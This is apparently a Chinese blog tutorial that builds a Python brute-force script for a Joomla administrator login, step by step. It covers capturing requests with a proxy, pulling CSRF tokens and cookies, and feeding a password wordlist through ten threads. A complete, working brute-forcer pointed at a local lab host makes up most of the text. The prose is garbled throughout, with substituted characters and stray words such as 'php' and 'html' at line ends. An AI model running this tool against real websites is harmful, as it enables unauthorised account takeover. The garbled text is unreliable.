本文从零开始介绍一个网站登陆爆破脚本的编写过程,经过脚本模拟网站登陆的做用有如下几点:
1,web类安全工具须要一个强大的爬虫爬取目标网站的全部页面,以确认漏洞利用点。
若是遇到须要登陆才能爬取的状况,能够爬虫直接模拟登陆过程。
2,已知部分信息,爆破网站后台,为下一步的渗透作准备。php
关于登陆爆破在《blackhat python》这本书中有一个例子,可是我用requests和beautifulsoup作了一些修改,后续还会以此为基础添加更多的功能。html
要模拟登陆网站就要知道网站的登陆认证过程,这里以joomla这款开源cms为例。
配置浏览器使用代理,本地127.0.0.1 8080端口,我使用了owasp zap
这款工具,其余的工具如Burpsuite或者直接F12 均可以查看到包的信息。python
第一步,首先访问后台登陆页面,抓包查看发现返回包中包含“SetCookie”响应头,cookie此时做为认证用户身份的凭据,且每次访问都会改变。web
第二步,接着POST方法提交登陆信息,一样抓包查看
算法
能够看到包里的参数不仅有帐号密码,还有token(用于防护CSRF)还有task等等。
认证的同时要抓取页面表单的其余input标签的name和value。joomla的较为简单,网站通常不会明文传输用户名和密码,遇到这种状况须要分析引入的js文件,模拟加密算法。浏览器
第三步,能够经过代理历史页面看到,post请求触发了303跳转跳回了原url至关于又实现了一次GET请求,能够查看到此次请求携带了以前设置的cookie。
到这里网站的基本认证流程就结束了,接着咱们用工具自动化
安全
登陆过程当中用到了两种方法,GET和POST方法,用reqeusts实现很简单服务器
import requests res_get=requests.get(url) res_post=requests.post(url,data=data,cookies=cookies,headers=headers)
其中data属性接收一个dict做为post的数据,cookies和headers
请求头均可以本身定义,将准备好的请求头用dict封装就能够伪造一个firefox浏览器的请求
cookie
cookie处理的两种方法
cookie值在第一次请求目标url的时候就已经设定好了
res_get.headers['Set-Cookie']
读取响应头取出set-cookie字段解析成dict
另外一种 cookies=res.cookies 自动处理能够直接传入get方法中。网络
用到BeautifulSoup来解析html,你只须要传入一个HTML就能随意的处理解析它。
from bs4 import BeautifulSoup soup=BeautifulSoup(html)
要寻找全部的input标签,将其中的name和value对应造成一个字典
soup.find_all(“input”)
将返回全部的input标签构成的一个list,其中元素的类型是 <class 'bs4.element.Tag'>
这意味着能够经过 tag.get("value")取出value的值,直接用tag["value"]也能够。
认证的过程有了,接着不过就是替换password的值而已。
咱们采用队列的方法提供要爆破的密码字段
import Queue words=Queue.Queue() words.put(word) words.get()
借用书中的代码
def build_wordlist(wordlist): fp=open(wordlist,'rb') raw_words=fp.readlines() fp.close() words=Queue.Queue() for word in raw_words: word=word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word==resume: found_resume=True print "Resuming wordlist from : %s "%resume else: words.put(word) return words
这段代码中的恢复机制不太明白,不清楚resume会在何处赋值
应对爆破过程当中目标网站挂了,或者被防火墙屏蔽的情况,咱们须要记录下爆破的位置以便继续爆破。
由于python中的GIL(全局解释锁),解释器同一时刻只能运行一个线程。若是是计算密集型任务多线程是不起做用的,能够尝试多核运行。
网络请求操做更多的时间消耗在网络等待服务器响应的过程当中,这样的状况多线程可以提高效率。
import threading t=threading.Thread(target=web_bruter()) t.start()
target指定线程要执行的函数
经测试速度有三倍的提高
应对掉网的状况采用try except 语句捕捉错误
爆破中关闭服务器后,requests抛出了ConnectionError异常
捕捉这个异常,而后将一个特殊值放入队列中使队列中的其余线程所有关闭
其实不用这个方法也会关闭,每一个线程都会返回一个成功或是失败的结果
from bs4 import BeautifulSoup import requests as s from requests import ConnectionError import Queue import sys import threading target_url="http://kali/joomla453/administrator/index.php" sucess_check="Administration - Control Panel" wordlist="cain.txt" headers={ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "Referer": "http://kali/joomla453/administrator/index.php", "Content-Type": "application/x-www-form-urlencoded", "Host": "kali", } class Bruter(): def __init__(self,username,words): self.username=username self.password=words self.found=False self.res=s.get(target_url) self.password_q=words print "Seting up username : %s " %username def get_cookie(self): return self.res.cookies ‘’‘ def get_cookie(self): cookies={} co=self.res.headers['Set-Cookie'] a=co.split(';')[0].split('=') cookies[a[0]]=a[1] print "Cookie: "+str(cookies) return cookies ’‘’ def get_payload(self): payload={} html=self.res.content soup=BeautifulSoup(html,"lxml") tag_list=soup.find_all("input") for i in tag_list: payload[i['name']]=i.get('value') tag_user = soup.find_all("input",type="text") payload[tag_user[0]['name']]=self.username tag_pass = soup.find_all("input",type="password") pass_word=self.password_q.get() payload[tag_pass[0]['name']]=pass_word print "Trying : %s" %pass_word+"\n" print "Payload: "+str(payload) return payload def web_bruter(self): while not self.found and not self.password_q.empty(): try: a=s.post(target_url,data=self.get_payload(),headers=headers,cookies=self.get_cookie()) p=s.get(target_url,headers=headers,cookies=self.get_cookie()) if sucess_check in p.content: print "sucess" self.found = True except ConnectionError,e: print "Connection Error: %s" % e sys.exit() def run_thread(self): for i in range(10): t=threading.Thread(target=self.web_bruter) t.start() resume=None found_resume=False def build_wordlist(wordlist): fp=open(wordlist,'rb') raw_words=fp.readlines() fp.close() words=Queue.Queue() for word in raw_words: word=word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word==resume: found_resume=True print "Resuming wordlist from : %s "%resume else: words.put(word) return words words=build_wordlist(wordlist) d=Bruter("moon",words) d.run_thread()
1,在读取字典的时候一次都读取了进来,若是是一个很大的字典,这样会在开始浪费很长时间读取,甚至程序崩溃
2,程序不够通用,须要添加跟踪JS加密算法的功能
3,字典中设置断点应对中途中止的状况,随机字符串断点要区别于字典中的字符串,或者是位置断点更方便定位
《blackhat python》 《python cookbook》